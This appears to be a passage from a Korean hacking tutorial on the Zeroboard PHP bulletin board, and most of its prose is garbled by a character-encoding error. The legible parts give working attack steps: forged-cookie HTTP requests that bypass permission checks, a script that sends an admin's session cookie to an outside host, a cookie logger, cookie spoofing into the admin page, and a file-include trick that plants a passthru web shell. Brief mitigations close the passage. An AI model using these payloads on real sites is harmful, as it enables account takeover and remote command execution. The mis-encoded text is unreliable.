2 get http://targetip/zboard/zboard.php?id=secret HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=ÀÓÀÇÀǾÏÈ£

°á°ú :

secret °Ô½ÃÆÇ

15 ¹ø ½ÂÁø´Ô ¾È³çÇϼ¼¿ä................ ¹æ¹®°´ 2005/06/26
14 ¹ø ¿©±â ÁÁ±º¿ä.... ³ª±×³× 2004/06/26
13 ¹ø ¿©±â ¹¹ ÀÌ·¡¿ä?? Áö³ª°¡´ÂÀÌ 2003/06/26
12 ¹ø Àú´Â ¸»ÀÌ¿¡¿ä.. ÇØÄ¿Áö¸Á»ý 2002/06/26
..........
..........

1 ¹ø ¶óÀÎÀº targetip ÀÇ À¥¼­¹öÀÎ 80 ¹ø Æ÷Æ®·Î Á¢¼ÓÀ» ÇÏ´Â °ÍÀÌ´Ù. 2 ¹ø ¶óÀÎ
Àº zboard.php ÀÇ Àμö·Î id=secret ¸¦ Á־ secret ¶ó´Â °Ô½ÃÆÇÀ» ÀоîµéÀÌ°Ú´Ù
°í ¾Ë¸°°ÍÀÌ°í 3 ¹ø ¶óÀÎÀº Cookie °ªÀ» ÷ºÎÇÑ °ÍÀÌ´Ù. ¿©±â¼­ zetyxboard_
password ´Â ¾Æ¹« °ªÀ̳ª ³Ö¾îÁ൵ µÈ´Ù.

ÀÌ¿Í ºñ½ÁÇÑ ¹æ¹ýÀ¸·Î ÇÑ °¡Áö ´õ °æ¿ì¸¦ º¸ÀÚ. °Ô½Ã¹°ÀÇ ¸ñ·ÏÀÌ ¾Æ´Ñ Á÷Á¢
°Ô½Ã¹°À» Àд ¹æ¹ýÀÌ´Ù. view.php ¿¡¼­ÀÇ »ç¿ë ±ÇÇÑ Ã¼Å© ·çƾÀ» º¸ÀÚ.

view.php

1 if($setup[grant_view]<$member[level]&&!$is_admin)
2 Error("»ç¿ë±ÇÇÑÀÌ ¾ø½À´Ï´Ù","login.php?id=$id&page=$page&
3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc&
4 keyword=$keyword&no=$no&file=zboard.php");

view.php ÀÇ ÀÎÀÚ·Î id ¿Í no °¡ µé¾î°¡´Âµ¥ id ´Â ÇØ´ç °Ô½ÃÆÇÀÇ id ¸¦ ¶æÇÏ°í
no ´Â ÇØ´ç °Ô½ÃÆÇÀÇ ±Û ¹øÈ£¸¦ ¶æÇÑ´Ù.

À§¿¡¼­µµ ¿ª½Ã ¸¶Âù°¡Áö·Î member ´Â ºó°ª, Áï 0 ÀÌ´Ï Á¶°Ç½ÄÀ» ÀÌ»ó ¾øÀÌ
Åë°úÇÒ ¼ö ÀÖÀ» °Í´Ù.

±×·³ ½ÇÁ¦·Î ¾î¶»°Ô »ç¿ë±ÇÇÑ Ã¼Å©¸¦ Åë°úÇÏ°í °Ô½Ã¹°À» ÀÐÀ» ¼ö ÀÖ´ÂÁö ¾Ë¾Æ
º¸ÀÚ. ¿©±â¼­ id ´Â secret ÀÌ°í ±Û¹øÈ£´Â 444 ¶ó°í ÇÏÀÚ.

1 telnet targetip 80
2 get http://targetip/zboard/view.php?id=secret&no=444 HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=ÀÓÀÇÀǾÏÈ£

°á°ú :

444 ¹ø ±Û

À̸§ : À̽ÂÁø

Á¦¸ñ : Àü À̽ÂÁøÀ̶û²²·Õ~
º»¹® : ÄÉÄÉÄÉ~.. À½.. ÇÒ¸»ÀÌ ¾ø±º..

2 ¹ø ¶óÀÎÀº view.php ½ºÅ©¸³Æ®¿¡ secret ¸¦ id ·Î Áá°í ±Û ¹øÈ£ 444 ¸¦ ¿äûÇÏ¿´
´Ù. ±×¸®°í 3 ¹ø ¶óÀο¡¼­ Cookie °ªÀ» ÷ºÎÇÏ¿´´Ù.

ÁÖÀÇÇÒ Á¡Àº zetyxboard_password ÀÇ °ªÀº ÀÓÀÇ·Î ³Ö¾îÁ൵ µÇÁö¸¸ ºñ¾îÀ־´Â
¾ÈµÈ´Ù.

°Ô½ÃÆÇÀ» Àаųª °Ô½Ã¹°À» Àд ¹æ¹ý ¸»°íµµ ´Ù¸¥ ¿©·¯ °¡Áö ¹æ¹ýÀÌ Àִµ¥ ¿©±â¼­
ÇÑ °¡Áö ¹æ¹ýÀ» ´õ ¾Ë¾Æº¸°Ú´Ù. trace.php ¶ó´Â ½ºÅ©¸³Æ®´Â ÆÄÀÏ¸í ±×´ë·Î
¼­¹ö¿¡ ¼³Ä¡µÈ zeroboard ¿Í °ü·ÃµÈ °ÍµéÀ» ÃßÀûÇØ ÁÖ´Â ½ºÅ©¸³Æ®ÀÌ´Ù. ÀÌ ½ºÅ©
¸³Æ® ¿ª½Ã »ç¿ë ±ÇÇÑÀ» üũÇÏ¿© admin ¸¸ÀÌ »ç¿ëÇÒ ¼ö ÀÖ°Ô Çسõ¾ÒÁö¸¸ member¿¡
ºó °ªÀÌ µé¾î°¡´Â °ÍÀ» ÀÌ¿ëÇÏ¿© Åë°úÇÒ ¼ö ÀÖ´Ù.

°¡·É beist ¶ó´Â »ç¶÷ÀÌ ±Û ¾´ °Íµé¿¡ ´ëÇؼ­ º¸°í ½Í´Ù´Â ÁÖ¾îÁø °Ë»ö½ÄÀ¸·Î
ÃßÀûÀ» ½ÃÀÛÇϸé beist ÀÇ IP ¿Í ¾î¶² °Ô½ÃÆÇ¿¡´Ù ±ÛÀ» ½è´ÂÁö ±×·± Á¤º¸µéÀÌ
³ª¿À°Ô µÈ´Ù.

trace.php ¿¡¼­´Â ¾î¶² ½ÄÀ¸·Î »ç¿ë ±ÇÇÑ Ã¼Å©¸¦ ÇÏ´ÂÁö ¾Ë¾Æº¸ÀÚ.

trace.php ¼Ò½º ¼³¸í °ø°Ý ¼³¸í

1 $member=member_info();
2 if($member[is_admin]>1||$member[level]>1)
3 Error("ÃÖ°í °ü¸®ÀÚ¸¸ÀÌ »ç¿ëÇÒ¼ö ÀÖ½À´Ï´Ù");

1 ¹ø ¶óÀο¡¼­´Â member_info ¸¦ ºÒ·¯¿À°í ±× ¸®ÅÏ°ªÀ» $member ¿¡ ÀúÀåÇÑ´Ù.
2 ¹ø ¶óÀÎÀÇ Á¶°Ç½ÄÀº ¸¸¾à admin ÀÌ ¾Æ´Ï¶ó¸é 3 ¹ø ¶óÀο¡¼­ Error ¸¦ Ãâ·ÂÇϵµ·Ï
ÇÑ´Ù.

trace.php ÀÇ ½ÇÁ¦ ÀÌ¿ë¹æ¹ýÀ» ¾Ë¾Æº¸ÀÚ.

1 telnet targetip 80
2 get http://targetip/zboard/admin/trace.php?keykind[0]=name&keyword=À̽ÂÁø
HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=¾Æ¹«°Å³ª;

°á°ú :

test1 °Ô½ÃÆÇ

[kekek] test (2001-12-05 21:40:04 / beist-ip)
[kekek] tet (2001-12-05 21:42:25 / beist-ip)
[kekek] asdf (2001-12-05 21:44:40 / beist-ip)
[kekek] asdf (2001-12-05 21:46:23 / beist-ip)
[kekek] vvvvv (2001-12-05 21:47:00 / beist-ip)

2 ¹ø¶óÀο¡¼­´Â keykind[0]=name À» Á־ keyword °Ë»öÀ» À̸§À¸·Î ÇÏ°Ú´Ù°í
ÀüÇÏ°í À̸§¿¡ À̽ÂÁøÀ» ³ÖÀº °ÍÀÌ´Ù.

keykind ÀÇ Á¾·ù´Â ´ÙÀ½°ú °°´Ù.

keykind[0]=name
keykind[1]=email
keykind[2]=ip
keykind[3]=subject
keykind[4]=memo

À§¿Í °°Àº keykind ·Î °Ë»öÇÒ¼ö ÀÖ°í, keyword ¿¡´Â °Ë»öÇÒ ³»¿ë¸¸ ÀûÀ¸¸é µÈ´Ù.
¿¹¸¦ µé¾î keykind[1]=email ·Î ÁöÁ¤Çصξú´Ù¸é keyword ¿¡ beist@hanmail.net
À̶ó°í ÀûÀ¸¸é µÈ´Ù.

ÇÏÁö¸¸ ÀÌ ¹æ¹ýÀ¸·Î´Â °Ô½ÃÆÇÀ» º¸°Å³ª °Ô½Ã¹°À» ÃßÀûÇÒ ¼ö ÀÖÁö¸¸ ¸í·É¾î¸¦ ½ÇÇà
ÇÏÁö´Â ¸øÇÑ´Ù. À¥¿¡¼­ ÇØÄ¿ÀÇ ±Ã±ØÀûÀÎ ¸ñÇ¥´Â ¸í·É¾î ½ÇÇàÀÌÁö ¾ÊÀº°¡?

ÀÌÁ¦ºÎÅÍ ¸í·É¾î ½ÇÇàÀÇ ¹ö±×µé¿¡ ´ëÇؼ­ ¾Ë¾Æº¸°Ú´Ù. zeroboard ¿¡¼­´Â admin
¸Þ´º¿¡¼­ header ¿Í footer ¿¡ (°Ô½ÃÆÇÀÇ ¸Ó¸®¸»°ú ²¿¸®¸» Á¤µµÀÌ´Ù.) admin ÀÌ
¿øÇϴ ƯÁ¤ ÆÄÀÏÀ» ÁöÁ¤À» ÇÒ ¼ö°¡ ÀÖ´Ù. º¸ÅëÀº Àλ縻À̳ª ƯÁ¤ ÆäÀÌÁö¸¦
°°ÀÌ ³Ö°í ½ÍÀ»¶§ header ¿Í footer ¸¦ »ç¿ëÇÏÁö¸¸ cracker ´Â ÀÌ °ÍÀ» ÀÌ¿ëÇÏ¿©¼­
¸í·É¾î ½ÇÇàÀ» ÇÒ ¼ö ÀÖ´Ù. (header ¿Í footer ÀÇ ÆÄÀÏÀº zboard.php ¿¡¼­
include ÇÕ´Ï´Ù. Áï zboard.php ÆÄÀÏÀÌ À¥¿¡¼­ ÀоîÁú¶§ head ¿Í foot ¿¡ include
ÇÑ ÆÄÀÏÀ» »Ñ·ÁÁÖ´Â °ÍÀÌ´Ù.)

¸ÕÀú Á¦·Îº¸µåÀÇ Æ¯Á¤ ÀÚ·á½Ç¿¡ ¾ÇÀÇÀûÀÎ ÆÄÀÏÀ» Çϳª ¿Ã¸°´Ù.

<?
system("echo -n \" <? passthru(\$\" > imnotj.php");
system("echo -n \"cmd); ?>\" >> imnotj.php");

echo "<font size=5>keke";
?>

<? passthru($cmd); ?>

ÀÌ ¼Ò½ºÀÇ ±â´ÉÀº imnotj.php ¶ó´Â ¾ÇÀÇÀûÀÎ ½ºÅ©¸³Æ®¸¦ Çϳª »ý¼ºÇÑ´Ù. imnotj.
php ¿¡ ´ã±â´Â ³»¿ëÀº <? passthru($cmd); ?> °¡ µÉ °ÍÀÌ´Ù. imnotj.php ÀÇ
±â´ÉÀº ¼­¹ö¿¡¼­ ÇØÄ¿°¡ ¿øÇϴ ƯÁ¤ ¸í·É¾î¸¦ ½ÇÇàÇÒ ¼ö ÀÖ°Ô²û µÈ ¼Ò½ºÀÌ´Ù.

ÀڷḦ ¿Ã¸± ¶§ Á¦·Îº¸µåÀÇ ÇÊÅ͸µ¿¡ °É¸®¸é ¾ÈµÉ°ÍÀÌ´Ù? Á¦·Îº¸µå´Â php, html, php3
°°Àº È®ÀåÀÚÀÇ ÆÄÀÏÀ» ¸ø ¿Ã¸®°Ô ÇÊÅ͸µÀ» ÇÑ´Ù. ±×·¡¼­ À§ÀÇ Äڵ尡 ´ã±ä È®ÀåÀÚ¸¦
txt ·Î ÀúÀåÇÏ°í ¼­¹ö¿¡ ¿Ã¸®ÀÚ. (txt ¸¦ ÇÊÅ͸µÇÏ´Â ÀÚ·á½ÇÀº ¾Æ¹«µ¥µµ ¾øÀ»°ÍÀÌ´Ù)
±»ÀÌ txt È®ÀåÀÚ°¡ ¾Æ´Ñ zip À̳ª jpg °°Àº È®ÀåÀÚµµ »ó°üÀº ¾ø´Ù.

¸¸¾à test.txt ¶ó´Â ÆÄÀÏÀ» ¿Ã·È´Ù¸é ¼­¹ö »ó¿¡¼­ /webdirectory/zboard/data/test.
txt ¶ó´Â °÷¿¡ À§Ä¡ÇÒ °ÍÀÌ´Ù. (webdirectory ´Â °¡»óÀ¸·Î ¸¸µé¾î ³½ °ÍÀÌ¸ç ½ÇÁ¦
·Î´Â /home/beist/public_html Á¤µµ°¡ ³ª¿Ã °ÍÀÌ´Ù.)

±×¸®°í admin ¸Þ´º¿¡¼­ header (ȤÀº footer) ¿¡ /webdirectory/zboard/data/test.
txt ¶ó°í ÁöÁ¤À» Çϸé zboard.php ¿¡¼­´Â test.txt ¸¦ include ÇÒ °ÍÀÌ´Ù. À§¿Í
°°Àº Äڵ带 include ÇÏ¿´À¸´Ï À¥¿¡¼­ zboard.php ÆÄÀÏÀ» ¿­¶§ imnotj.php ¶ó´Â
ÆÄÀÏÀÌ »ý¼ºµÉ °ÍÀÌ´Ù.

±×·¸´Ù¸é admin ¸Þ´º¿¡´Â ¾î¶»°Ô µé¾î°¥ °ÍÀΰ¡? admin ¸Þ´º´Â ¸» ±×´ë·Î admin ¸¸
µé¾î°¥ ¼ö ÀÖ´Ù. admin ¾ÏÈ£°¡ ¾øÀ¸¸é ¸øµé¾î°£´Ù´Â À̾߱âÀÌ´Ù. ±×·¡¼­ ¿ì¸®´Â
admin ¾ÏÈ£¸¦ ¾Ë¾Æ³»¾ß ÇÑ´Ù. ÄíÅ° ½º´ÏÇÎÀ» ÀÌ¿ëÇؾ߰ڴÙ. ÇÏÁö¸¸ zero
board ¿¡¼­´Â password ¸¦ ¾ÏȣȭÇؼ­ ÀúÀåÇϱ⠶§¹®¿¡ ÄíÅ° ½º´ÏÇÎÀ¸·Î ¾ÏÈ£¸¦
»©¿Â´Ù°í Çصµ login ÆäÀÌÁö¿¡¼­ ¾ÏÈ£¸¦ ÀÔ·ÂÇÒ ¼ö°¡ ¾ø´Ù. (¾ÏȣȭµÈ ¹®ÀÚ¿­À»
crack ÇÏ¿©¼­ ¿ø·¡ÀÇ ¾ÏÈ£ ¹®ÀÚ¿­À» ¾òÀ» ¼öµµ ÀÖ°ÚÁö¸¸ ±× ¹æ¹ýÀº ³Ê¹« ¿À·¡°É¸®°í
°¡´É¼ºµµ Èñ¹ÚÇÑ ¹æ¹ýÀÌ´Ù. ¾ÏÈ£°¡ ½±Áö ¾ÊÀºÇÑ)

±×·¡¼­ ¿ì¸®´Â ÄíÅ°½º´ÏÇÎÀ¸·Î ¾ÏÈ£¸¦ »©¿À°í, login ÆäÀÌÁö¿¡ ¾ÏÈ£¸¦ ³Ö´Â °ÍÀÌ
¾Æ´Ï¶ó ½ÇÁ¦ admin ÆäÀÌÁö¿¡ Á÷Á¢ÀûÀ¸·Î Cookie °ªÀ» Àü´ÞÇØ¾ß ÇÑ´Ù.

¾î¶² ½ÄÀ¸·Î admin ÀÇ password ¸¦ »©¿Ã ¼ö ÀÖ´Â Áö »ìÆ캸ÀÚ.

ÀÚ¹Ù ½ºÅ©¸³Æ®¸¦ ½á¼­ ÄíÅ°¸¦ »©¿Ã °ÍÀÌ´Ù. ÀÚ¹Ù ½ºÅ©¸³Æ®¸¦ °Ô½ÃÆÇÀ̳ª ÂÊÁö¿¡
¾²¸é µÇ´Âµ¥ ¿©±â¿¡¼± ÂÊÁö¸¦ ÀÌ¿ëÇÏ´Â ¹æ¹ýÀ» »ç¿ëÇÏ°Ú´Ù. zeroboard ÀÇ ÂÊÁö
±â´ÉÀ» ÀÌ¿ëÇÏ¿© admin ¿¡°Ô ÂÊÁö¸¦ º¸³½´Ù. html »ç¿ë¿¡ check ¸¦ ÇÏ°í..

java-script ·Î ÄíÅ°¸¦ »©¿À´Â ½ºÅ©¸³Æ®

-----------------------------------------------------------------------------

1 <script language=java-script>
2 window.open("http://beist.org/test.php?cook="+document_.cookie);
3 </script>
4 HELLO ADMIN!

-----------------------------------------------------------------------------

1 ¹ø° ¶óÀÎÀº java-script ¸¦ »ç¿ëÇÒ °ÍÀ̶ó°í ¼±¾ðÀ» ÇÏ´Â °ÍÀÌ°í 2 ¹ø° ¶óÀÎÀº
http://beist.org/test.php ÀÇ ½ºÅ©¸³Æ®¸¦ À¥ºê¶ó¿ìÀúÀÇ document_.cookie ¸¦ Àμö·Î
¿©´Â °ÍÀÌ´Ù. º¸Åë CGI ´Â ´ÙÀ½°ú °°Àº ¹æ½ÄÀ¸·Î Àμö¸¦ Àü´ÞÇÑ´Ù.

sample CGI script

echo.php

<? echo "hello $insu"; ?>

À§ÀÇ echo.php ´Â $insu ¶ó´Â º¯¼ö¸¦ Ãâ·ÂÇØÁÖ´Â ½ºÅ©¸³Æ®ÀÌ´Ù. À¥ºê¶ó¿ìÀú¿¡¼­
http://beist.org/echo.php?insu=beist ÀÌ·± ½ÄÀ¸·Î ÆäÀÌÁö¸¦ ¿äûÇϸé echo.php
¿¡¼­´Â

hello beist

¶ó´Â ¹®ÀÚ¿­À» µÇµ¹·ÁÁØ´Ù.

ÄíÅ°¸¦ »©¿À´Â ½ºÅ©¸³Æ®ÀÎ test.php ÀÇ ÀμöÀÇ À̸§À¸·Î cook À» ÁÖ¾ú°í ±× °ª¿¡´Â
ÇöÀç À¥ºê¶ó¿ìÀúÀÇ cookie °ªÀÌ ´ã°Ü ÀÖ´Â document_.cookie ¸¦ ÁöÁ¤ÇÏ¿© ÁÖ¾ú´Ù.
zeroboard ¿¡¼­ admin ¿¡°Ô ´ã±â´Â cookie ´Â ´ÙÀ½°ú °°Àº °ªÀÌ´Ù.

zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

(zetyxboard_password ÀÇ °ªÀº ÀÓÀÇ·Î ¼³Á¤ÇÑ °ªÀÌ´Ù.)

ÀÌÁ¦ test.php ¿¡¼­´Â ³Ñ¾î¿Â Àμö¸¦ ó¸®ÇØ¾ß ÇÑ´Ù. ¿¹¸¦ µé¾î ³Ñ¾î¿Â ÄíÅ°°ªÀ»
¼­¹ö¿¡ ÀúÀåÇÏ´Â ¹æ¹ýµîÀ» »ç¿ëÇØ¾ß ÇÑ´Ù.

test.php

<?
$fp=fopen("/tmp/zerohack", "a++");
fputs(" Á¦·Îº¸µå ÄíÅ°°ª $cook\n");
?>

°£´ÜÇÑ ½ºÅ©¸³Æ®ÀÌ´Ù. test.php ´Â /tmp/zerohack.txt À» ¿­¾î¼­ ³Ñ¾î¿Â Àμö°ªÀÎ
$cook À» Áý¾î³Ö´Â´Ù.

³Ñ¾î¿Â ÄíÅ°°ªÀÌ ¸¸¾à

zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

¶ó°í Çϸé /tmp/zerohack.txt ¿¡´Â

Á¦·Îº¸µå ÄíÅ°°ª zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

ÀÌ ´ã±â°Ô µÉ°ÍÀÌ´Ù.

ÀÌÁ¦ ³Ñ¾î¿Â ÄíÅ°°ªÀ» ÀÌ¿ëÇÏ¿© admin ÆäÀÌÁö¿¡ Á÷Á¢ Cookie ¸¦ º¸³» Á¢¼ÓÀ» ÇÏ´Â
¹æ¹ýÀ» ¾Ë¾Æº¸ÀÚ.

¿©±â¼­´Â telnet À» ÀÌ¿ëÇÏ°Ú´Ù. telnet À¸·Î »ó´ë¹æÀÇ À¥¼­¹ö¿¡ Á¢¼ÓÀ» ÇÑ´Ù.
(º¸Åë À¥¼­¹ö´Â 80 ¹ø Æ÷Æ®¸¦ ¾´´Ù.)

1 telnet targetip 80
2 Trying targetip ...
3 Connected to targetip.
4 get http://targetip/zboard/admin_setup.php HTTP/1.0
5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

¾î¼°í.. Àú¼°í..
.................
.................

(À§¿¡¼­ 1, 4, 5 ¹ø ¶óÀÎÀº Á÷Á¢ ÀÔ·ÂÇØ¾ß ÇÏ´Â ºÎºÐÀÌ´Ù.)

¼³¸íÀ» ÇÏÀÚ¸é 1 ¹ø ¶óÀÎÀº targetip ÀÇ 80 ¹ø Æ÷Æ®·Î ¿¬°áÀ» ½ÃµµÇÏ°Ú´Ù´Â
ÀǹÌÀÌ°í 4 ¹ø ¶óÀÎÀº target ÀÇ /zboard/admin_setup.php ¶ó´Â ÆÄÀÏÀ» ¿­°Ú´Ù´Â
Àǹ̴Ù. ±×¸®°í 5 ¹ø ¶óÀÎÀº zetyxboard_userid ¿Í zetyxboard_password ¸¦
ÄíÅ°·Î º¸³»°Ú´Ù´Â Àǹ̴Ù.

±×·¯¸é admin_setup.php ¿¡¼­´Â admin ÀÎÁõÀ» ÇÒ °ÍÀÌ´Ù. ¸¸¾à password °¡ ¸Â´Ù¸é
ÇØÄ¿´Â ¹«»çÈ÷ Åë°ú¸¦ ÇÏ°í admin_setup.php ¸¦ º¼ ¼ö ÀÖÀ» °ÍÀÌ´Ù.

À§¿¡¼­ ¼³¸íÇÑ header ³ª footer ¿¡ test.txt ¶ó´Â ÆÄÀÏÀ» ÁöÁ¤ÇÏ·Á¸é ¾î¶»°Ô
ÇؾßÇÏ´ÂÁö ¾Ë¾Æº¸ÀÚ.

1 telnet targetip 80
2 Trying targetip ...
3 Connected to targetip.
4 get http://targetip/zboard/admin_setup.php?no=3&exec=view_board&
exec2=modify_ok&page=1&group_no=1&name=haha&skinname=zero_cyan&
only_board=1&header_url=/var/www/html/zboard/data/test.txt&use_html=1&
memo_num=20&cut_length=0&bg_color=white&table_width=95&page_num=10&
header=<div%20align=center>&footer=</div> HTTP/1.0
5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

4 ¹ø ¶óÀθ¸ ¼³¸íÇÏ°Ú´Ù. admin_setup.php ÀÇ Àμö·Î ¿©·¯°³°¡ µé¾î°¬´Ù.
ÁÖ¿ä Àμö¸¦ ¸»ÇÏÀÚ¸é exec2 ¿Í no, ±×¸®°í header_url ÀÌ´Ù. no ´Â °Ô½ÃÆÇÀÇ
¹øÈ£¸¦ ¶æÇÑ´Ù. (°Ô½ÃÆÇÀÌ ¿©·¯°³ ÀÖÀ»¶§ °¢°¢ÀÇ °íÀ¯¹øÈ£°¡ ÀÖ´Ù.)
exec2 ´Â admin_setup.php ÆäÀÌÁö¸¦ ¾î¶² mode ·Î ¿­ °ÍÀÎÁö ¼±ÅÃÇÏ´Â °ÍÀÌ´Ù.
¿©±â¼­´Â modify_ok mode ·Î ¿­¾ú´Ù. °¡Àå Áß¿äÇÑ header_url Àº header
file ·Î ¾î¶² °ÍÀ» ÁöÁ¤ÇÒ °ÍÀÎÁö ¼±ÅÃÇÏ´Â ºÎºÐÀÌ´Ù. ¿©±â¼­ ÁöÁ¤ÇÑ header
file Àº /var/www/html/zboard/data/test.txt ÀÌ´Ù. ÀÌÁ¦ include ÇÏ¿´À¸´Ï
zboard.php ¸¦ ¿­¶§ test.txt ½ºÅ©¸³Æ®°¡ ÀÛµ¿ÀÌ µÇ¸é¼­ imnotj.php ¶ó´Â
ÆÄÀÏÀÌ »ý¼ºÀÌ µÉ °ÍÀÌ´Ù.

ÀÌÁ¦ ÇØÄ¿´Â imnotj.php ÆÄÀÏÀ» ÅëÇؼ­ ¼­¹ö¿¡ ƯÁ¤ ¸í·ÉÀ» ½ÇÇà½Ãų ¼ö ÀÖ´Ù.

ex)

http://targetip/zboard/data/imnotj.php?cmd=whoami
°á°ú = nobody

ÀÌ»óÀÌ zeroboard ¿¡¼­ ÄíÅ° ½º´ÏÇÎ, ÄíÅ° ½ºÇªÇÎ, À߸øµÈ ¾Ë°í¸®ÁòÀ» ÀÌ¿ëÇÑ
°ø°Ý ¹æ¹ýÀÌ´Ù.

ÇØ°áÃ¥À» ¾Ë¾Æº¸ÀÚ.

ÄíÅ° ½º´ÏÇÎ

¸ÕÀú Cookie Sniffing ¿¡ ´ëÇÑ ´ëÃ¥À» ¾Ë¾Æº¸ÀÚ. Cookie Sniffing Àº Cracker
°¡ TAG ¸¦ ¾µ¼ö Àִ ȯ°æÇÏ¿¡¼­ ÀÌ·ç¾îÁø´Ù. Cookie ´Â Web Browser ¿¡ ´ã±â°Ô
µÇ´Âµ¥ Cookie ¸¦ °¨Ãâ ¼öµµ ¾ø´Â ³ë¸©ÀÌ°í Cookie »ç¿ëÀ» ºÒ°¡ÇÇÇÏ°Ô ÇؾßÇÏ´Â
°æ¿ìÀÇ ´ëó¹ýÀº »ç¿ëÀÚ°¡ TAG¸¦ ¾µ ¼ö ¾øµµ·Ï ÇؾßÇÑ´Ù.

°ÅÀÇ ¸ðµç TAG ÀÇ ½ÃÀÛÀº < ·ÎºÎÅÍ ½ÃÀÛÇÑ´Ù. ±×·¡¼­ <¸¦ ¾ø¾Ö°Å³ª < ¹®ÀÚ·Î
ġȯ½ÃÅ°´Â ¹æ¹ýÀÌ ÁÁ´Ù.

eregi_replace("<", "<", $comment);

ÀÌ·± ½ÄÀ¸·Î $comment ÀÇ ³»¿ëÁß¿¡ < °¡ Á¸ÀçÇÑ´Ù¸é < ·Î ¹Ù²Ù°Ô ²û ¸¸µé¾î
ÁÖ¾ú´Ù.

ÄíÅ° ½ºÇªÇÎ

Cookie Spoofing ¿¡ ´ëÇÑ ´ëÃ¥À» ¾Ë¾Æº¸ÀÚ. Cracker °¡ Admin ÀÇ Cookie¸¦ °¡Á®¿Í¼­
Cookie SpoofingÀ» ÀÌ¿ëÇØ Admin Menu ¿¡ Á¢±ÙÇÏ°Ô µÈ´Ù. ù ¹ø°·Î Cookie¸¦
µµµÏ¸ÂÁö ¾Ê±â À§ÇØ Cookie SniffingÀ» ¸·´Â °ÍÀÌ Áß¿äÇÏÁö¸¸ Cookie¸¦ µµµÏ¸Â¾ÒÀ»¶§ÀÇ
°æ¿ìµµ ´ëºñÇØ¾ß ÇÒ °ÍÀÌ´Ù.

ÇÊÀÚ´Â ÀÌ¿¡ ´ëÇÑ ´ëºñ·Î Cookie ¸¸À» ¾²´Â °ÍÀÌ ¾Æ´Ï¶ó Cookie + Session ÀÇ Á¶ÇÕÀ»
»ç¿ëÇÏ±æ ¹Ù¶õ´Ù. ÇÏÁö¸¸ Cookie ¸¸À» ¾²·Á°í ÇÒ¶§ÀÇ ÇÊÀÚ°¡ »ý°¢ÇÏ´Â ´ëÀÀÃ¥À» ¼³¸í
ÇÏ°Ú´Ù.

À§ÀÇ Zeroboard ÀÇ °æ¿ì¿¡¼­ º¸¸é ÇöÀç Á¢¼ÓµÇ¾î ÀÖ´ÂÁö È®ÀÎÇÏ´Â ºÎºÐÀÌ ÀÖ´Ù.
now_table ¿¡ ÇØ´çÇÏ´Â ID °¡ ÀÖÀ¸¸é Åë°úÇÏ´Â °ÍÀÌ°í ¾øÀ¸¸é Åë°ú¸¦ ¸øÇÏ´Â °ÍÀε¥
table ÀÇ ±¸Á¶¸¦ ¾à°£ º¯ÇüÇÏ¿© IP µµ ´ã´Â °ÍÀÌ´Ù.

¿¹¸¦ µé¾î $userip ¶ó´Â º¯¼ö¸¦ ¼±¾ðÇÏ°í ÀÌ º¯¼ö´Â »ç¿ëÀڷκÎÅÍ ÀÔ·ÂÀ» ¹ÞÁö
¾Ê°í PHP ȯ°æº¯¼öÀÎ $REMOTE_ADDRÀ» ÀÌ¿ëÇÏ´Â °ÍÀÌ´Ù. ÀÌ·¸°Ô Çϸé cracker °¡
admin_setup.php?userip=¼ÓÀÏIP ÀÌ·±½ÄÀ¸·Î Á¢±ÙÀ» Çؿ͵µ ¼­¹ö¿¡¼­´Â $REMOTE_ADDR
·Î üũ¸¦ Çϱ⠶§¹®¿¡ ÇÇÇÒ ¼ö ¾ø°Ô µÈ´Ù.

¿©±â¼­´Â °£´ÜÇÏ°Ô ¼Ò½º¸¦ ¸¸µé¾îº¸°Ú´Ù.

$userip=$REMOTE_ADDR;
$check=mysql_fetch_array(mysql_query("select count(*) from $now_table where
user_id='$cookie_userid' and userip='$userip'"));

ÇÏÁö¸¸ ÀÌ ¹æ¹ý¿¡µµ ¾à°£ÀÇ Ãë¾à¼ºÀº Á¸ÀçÇÑ´Ù. Admin ÀÌ NAT °°Àº ȯ°æÇÏ¿¡¼­
Á¢±ÙÇÏ¿´À»¶§ ±× ¾È¿¡ ÀÖ´Â computer µéµµ ¿ÜºÎ·Î ³ª°¥¶© °°Àº IP À̱⠶§¹®¿¡ Cracker
°¡ NAT ³»ºÎ¿¡ Á¢±ÙÇÏ¿´À» °æ¿ì¿¡ À§ÀÇ ÀÎÁõÀ» ȸÇÇÇÒ¼öµµ ÀÖÀ» °ÍÀÌ´Ù.

±×·¸Áö¸¸ À§ÀÇ ¹æ¹ýÀ¸·Î üũ¸¦ ÇÑ´Ù¸é Cracker °¡ Hacking Çϴµ¥ ÈξÀ ´õ ¾î·Á¿ò°ú
¼ö°í¸¦ ÇÏ°Ô ÇÒ ¼ö ÀÖ´Ù.

À߸øµÈ ¾Ë°í¸®Áò

¿©±â¼­ ¸»ÇÏ´Â À߸øµÈ ¾Ë°í¸®ÁòÀº lib.php¿¡¼­ member_info ÇÔ¼öÀÌ´Ù. $member ·Î
return ÇÒ¶§ ¾ø´Â °ªÀÏ °æ¿ì 0 ÀÌ µÇ¾î trace.php °°Àº fileÀ» ½ÇÇà ÇÒ ¼ö ÀÖ´Â °ÍÀε¥
ÀÌ¿¡ ´ëÇÑ ÇØ°á¹ýÀ¸·Î´Â now_table¿¡¼­ ÇØ°áÇÏ´Â ¹æ¹ýÀÌ ´õ ÁÁÁö¸¸ °£´ÜÇÏ°Ô ÇÏ·Á¸é
´ÙÀ½°ú °°ÀÌ ÇÏÀÚ.

$member=mysql_fetch_array(mysql_query("select * from $member_table where
user_id='$cookie_userid' and password='$cookie_password'"));
if(!$member)
{
echo "Á˼ÛÇÕ´Ï´Ù. ´ç½ÅÀÇ Cookie ¿¡ ¸Â´Â Data °¡ ¾ø±º¿ä.¡°;
exit;
}

Web CGI µç ÀÏ¹Ý ¾îÇø®ÄÉÀÌ¼Ç ÇÁ·Î±×·¥ÀÌµç ¸¶Âù°¡ÁöÀÌÁö¸¸ À߸øµÈ ¾Ë°í¸®Áò
